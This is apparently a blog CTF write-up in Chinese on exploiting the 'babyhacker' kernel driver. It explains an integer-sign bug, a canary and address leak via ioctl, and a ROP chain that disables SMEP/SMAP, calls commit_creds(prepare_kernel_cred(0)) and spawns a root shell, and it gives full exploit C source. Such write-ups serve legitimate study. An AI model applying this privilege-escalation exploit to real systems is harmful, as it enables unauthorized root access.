使用 insmod 命令加载了 babyhacker.io驱动，将 dmesg_restrict 和 kptr_restrict 置为0，表示可以通过 cat kallsyms查看 commit_creds/prepare_kernel_cred 两个函数的地址，通过 commit_creds(prepare_kernel_cred(0))调用来提权。

程序分析

image-20201105142548544

getsize中， size 为 unsigned int，但是 在过第一个比较时，却将其转换为了 int。并且当 size<11 时，会将 size 的低位 赋给 buffersize。如果我们初始输入一个 负数，则能通过 <11 的判断，并且将 Buffersize 能够赋值一个大数。

利用分析

  1. 修改buffersize

使用上面分析的漏洞，修改 buffersize的大小，泄露 canary, rbp, ret 的地址。

先打开内核驱动接口，使用 ioctl来向内核驱动接口传输数据：

1
2
fd = open("/dev/babyhacker", O_RDONLY);
ioctl(fd, 0x30000, 0xf0000fff);
  1. 从内核空间读取buffersize

在用户空间分配一个缓冲区，读取内核数据。此时读取的数据是从内核栈空间rsp开始，如下所示，读取 0xfff大小的字节，如下图所示。也就是我们能够再输出的 0x2a 个longlong整型处得到 ret地址，在 0x28处得到canary地址。

image-20201110111736397

我们也可以通过 ret地址来得到 vmlinux_base。

1
2
3
4
5
6
long long *buf=(long long *)malloc(0x1000);
if(buf==0)
{
    puts("malloc error");
}
ioctl(fd, 0x30002, buf);
  1. 执行rop来getshell

在内核空间中寻找 gadget，寻找的方法仍然是对 vmlinux使用 ropper获得。我们的 rop需要有三个功能：1. 修改 cr4寄存器的值，来关闭 smep和smap保护；2. 执行提权函数，即 commit_creds(prepare_kernel_cred(0))来提权；3. 执行内核态切换到用户态，实现提权后，还需要将程序从内核态返回到用户态；4. 返回用户态后，执行 system('/bin/sh')获得shell权限。

我们的 rop结构如下：

1
2
3
4
5
6
7
8
9
memset(padding, 'a', 0x140);
join_str(padding);
join_data(canary);
join_data(1); // rbp
join_data(poprdi);
join_data(0x6f0);
join_data(rdi2cr4);
join_data(user_stack+0x200);
join_data(&get_root);

image-20201110112332255

最终，在qemu中我们成功实现提权，能够读取flag：

image-20201110112738508

EXP

在返回用户态前，要注意：在程序开始之前使用 save_status来保存寄存器的状态

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
//gcc exp.c -static -o exp
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <fcntl.h>
#include <stropts.h>
#include <sys/wait.h>
#include <sys/stat.h>

int fd;
char payload[0x1000];
char padding[0x144] = { 0 };
unsigned long long user_cs, user_ss, user_rflags;
long long user_stack = 0;

long long prepare_kernel_cred;
long long commit_creds;

int payload_len = 0;

void get_shell(){
    execl("/bin/sh", "sh", NULL);
}

void get_root(){
    char* (*pkc)(int) = prepare_kernel_cred;
    char* (*cc)(char*) = commit_creds;
    (*cc)((*pkc)(0));
    asm(
        "push %2\n"
        "swapgs\n"
        "push %0\n"
        "push %1\n"
        "push %2\n"
        "push %3\n"
        "push %4\n"
        "iretq\n"
        :
        : "r" (user_ss), "r"(user_stack), "r" (user_rflags), "r" (user_cs), "r" (&get_shell)
        : "memory"     
    );
}

static void sav_status()
{
    asm(
        "movq %%cs, %0\n"
        "movq %%ss, %1\n"
        "pushfq\n"
        "popq %2\n"
        : "=r" (user_cs), "=r" (user_ss), "=r" (user_rflags) : : "memory"
    );
}

void add_data(long long data){
    unsigned char buf[8] = {0};
    memcpy(buf, &data, 8);
    memcpy(payload + payload_len, buf, 8);
    payload_len += 8;
}

void add_str(char *buf){
    int len = strlen(buf);
    memcpy(payload + payload_len, buf, len);
    payload_len += len;
}

int main()
{
    signal(SIGSEGV, get_shell);
    sav_status();
    fd = open("/dev/babyhacker", O_RDONLY);
    //change buffersize
    ioctl(fd, 0x30000, 0xf0000fff);
    long long *buf = (long long*)malloc(0x1000);
    if(buf == 0){
        puts("malloc failed");
    }
    //get kernel buf
    ioctl(fd, 0x30002, buf);
    //get ret, canary
    long long ret = buf[0x2a];
    long long base = ret - 0xffffffff81219218;
    long long canary = buf[0x28];
    long long pop_rdi = base + 0xffffffff8109054d;
    long long rdi_to_cr4 = base + 0xffffffff81004d70;
    prepare_kernel_cred = base + 0xffffffff810a1820;
    commit_creds = base + 0xffffffff810a1430;
    user_stack = &pop_rdi;
    printf("base:%p, ret:%p, canry:%p\n", base, ret, canary);

    memset(padding, '1', 0x140);
    //rop
    add_str(padding);
    add_data(canary);
    add_data(1);
    //change rc4
    add_data(pop_rdi);
    add_data(0x6f0);
    add_data(rdi_to_cr4);
    //
    add_data(user_stack+0x200);
    //get root & get shell
    add_data(&get_root);
    ioctl(fd, 0x30001, payload);

    return 0;
}
赏

只要你支持她，我们就是好朋友2333

支付宝
微信

扫一扫，分享到微信

tag:

    缺失模块。
    1、请确保node版本大于6.2
    2、在博客根目录（注意不是yilia-plus根目录）执行以下命令：
    npm i hexo-generator-json-content --save

    3、在根目录_config.yml里添加配置： 

      jsonContent:
    meta: false
    pages: false
    posts:
      title: true
      date: true
      path: true
      text: false
      raw: false
      content: false
      slug: false
      updated: false
      comments: false
      link: false
      permalink: false
      excerpt: false
      categories: false
      tags: true

主要研究：
二进制安全、漏洞挖掘
CTF菜鸡一只

天枢Dubhe 学习ing